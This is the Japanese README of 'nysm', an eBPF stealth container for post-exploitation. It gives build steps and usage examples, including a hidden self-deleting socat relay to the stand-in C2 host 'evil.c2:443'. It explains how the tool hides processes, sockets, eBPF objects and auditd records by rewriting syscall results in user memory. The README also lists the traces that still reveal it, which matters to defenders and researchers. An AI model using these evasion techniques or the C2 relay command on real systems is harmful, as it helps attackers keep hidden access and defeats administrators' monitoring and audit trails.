
eBPFベースのステルスコンテナ。プロセス、ソケット、eBPFオブジェクト、監査ログをシステム監視ツールから隠蔽し、隠密なポストエクスプロイト操作を可能にします。
ステルスなポストエクスプロイテーションコンテナ。
eBPF ベースの攻撃ツール(資格情報窃取ツールから自身の PID を隠すルートキットまで)の人気が高まるにつれ、ある疑問が浮かびました:eBPF を eBPF 自身から不可視にすることは可能だろうか? そこから nysm が生まれました。これは、システム管理者の目を逃れるために攻撃ツールをステルス化する eBPF ステルスコンテナであり、eBPF を隠すだけでなく、さらに多くのものを隠します:
これらのツールはすべて、nysm を通過するものに対して盲目になります。nysm は以下を隠します:
警告 このツールは、eBPF の機能を示すための簡単なデモです。網羅的であることを意図していません。それでも、プルリクエストは大歓迎です。
sudo apt install git make pkg-config libelf-dev libzstd-dev clang llvm bpftool -y
cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
cd ./nysm/src/
make
nysm は、実行したいコマンドの前に実行するシンプルなプログラムです:
Usage: nysm [OPTION...] COMMAND
Stealth eBPF container.
-d, --detach Run COMMAND in background
-r, --rm Self destruct after execution
-v, --verbose Produce verbose output
-h, --help Display this help
--usage Display a short usage message
隠れた bash を実行:
./nysm bash
隠れた ssh を実行し、./nysm を削除:
./nysm -r ssh user@domain
隠れた socat をデーモンとして実行し、./nysm を削除:
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443
eBPF は戻り値やカーネルアドレスを上書きできないため、ユーザースペースアドレスとやり取りする最も低レベルの呼び出しを見つけ出し、その値を上書きして目的のオブジェクトを隠すことが目標です。
nysm のイベントを他のイベントと区別するために、すべてを独立した PID 名前空間内で実行します。
bpftool には、nysm が回避したい機能がいくつかあります:bpftool prog list、bpftool map list、bpftool link list です。
他の eBPF プログラムと同様に、bpftool は bpf() システムコール、具体的には BPF_PROG_GET_NEXT_ID、BPF_MAP_GET_NEXT_ID、BPF_LINK_GET_NEXT_ID コマンドを使用します。これらの呼び出しの結果は、attr 引数が指すユーザースペースアドレスに格納されます。
uattr を上書きするために、bpf() エントリにトレースポイントを設定し、指されたアドレスをマップに保存します。その後、bpf() の終了トレースポイントを待ちます。bpf() が終了すると、nysm は bpf_attr 構造体を読み書きできるようになります。各 BPF_*_GET_NEXT_ID の後、bpf_attr.start_id は bpf_attr.next_id に置き換えられます。
特定の ID を非表示にするために、bpf_attr.next_id をチェックし、nysm 内で作成されていない次の ID に置き換えます。
プログラム、マップ、リンクの ID は、security_bpf_prog()、security_bpf_map()、bpf_link_prime() から収集されます。
Auditd は recvfrom() からログを受信し、そのメッセージはバッファに格納されます。
受信したメッセージが audit_log_end() を通じて nysm プロセスによって生成されたものである場合、その nlmsghdr ヘッダ内のメッセージ長を 0 に置き換えます。
PID を eBPF で隠すことは新しいことではありません。nysm は、新しい alloc_pid() で生成された PID を /proc 内の getdents64() から隠すために、前のレコードの長さを変更します。
getdents64() はすべてのファイルをループする必要があるため、eBPF の命令数制限に容易に達します。そのため、nysm は制限に達する前に テールコール を使用します。
ソケットを隠すという言葉は大げさです。実際には、開いているソケットは /proc 内でプロセスを見つけられないため、多くのツールから既に隠されています。それでも、ss は NETLINK_SOCK_DIAG フラグ付きの socket() を使用し、現在開いているすべてのソケットを 返します。その後、ss は recvmsg() を通じてメッセージバッファ内の結果を受信し、戻り値はこれらすべてのメッセージの長さの合計です。
ここでは、PID と同じ方法を適用します:前のメッセージの長さを変更して nysm ソケットを隠します。
これらは connect() と bind() の呼び出しから収集されます。
最善を尽くしても、nysm にはいくつかの制限があります。
ファイルディスクリプタを閉じないツールは、それらが開いている間に作成された nysm プロセスを検出します。例えば、./nysm bash を top より先に実行した場合、プロセスは表示されません。しかし、その bash インスタンスから top がまだ実行中に別のプロセスを作成すると、新しいプロセスは検出されます。同じ問題がソケットや nethogs のようなツールでも発生します。
カーネルログ:dmesg と /var/log/kern.log で、nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! というメッセージが nysm 実行時に eBPF 検証器により複数回表示されます。
多くのトレースはファイルに書き込まれます。read() と write() をフックするのは負荷が大きすぎるため(ただし可能ではありますが)、そのまま残されています。例:/proc/net/tcp や /sys/kernel/debug/tracing/enabled_functions。
ss の recvmsg を隠すのは難しい場合があります。新しいソケットがバッファの先頭に現れる可能性があり、nysm は前のレコードでそれを隠せません(これは PID には当てはまりません)。簡単な修正として、最初のソケットと次の正当なソケットを入れ替えることが考えられますが、バッファ内にソケットが単独で存在する場合はどうすればよいでしょうか?そのため、nysm は最初のソケット情報をハードコードされた値で変更します。
もちろん、これらの制限の多くには独自の解決策があるはずです。繰り返しになりますが、プルリクエストは大歓迎です。
nysm 子プロセスから BPF_*_GET_NEXT_ID フラグ付きの bpf() を実行することは避けるべきです。nysm 以外のすべての eBPF オブジェクトが非表示になってしまうからです。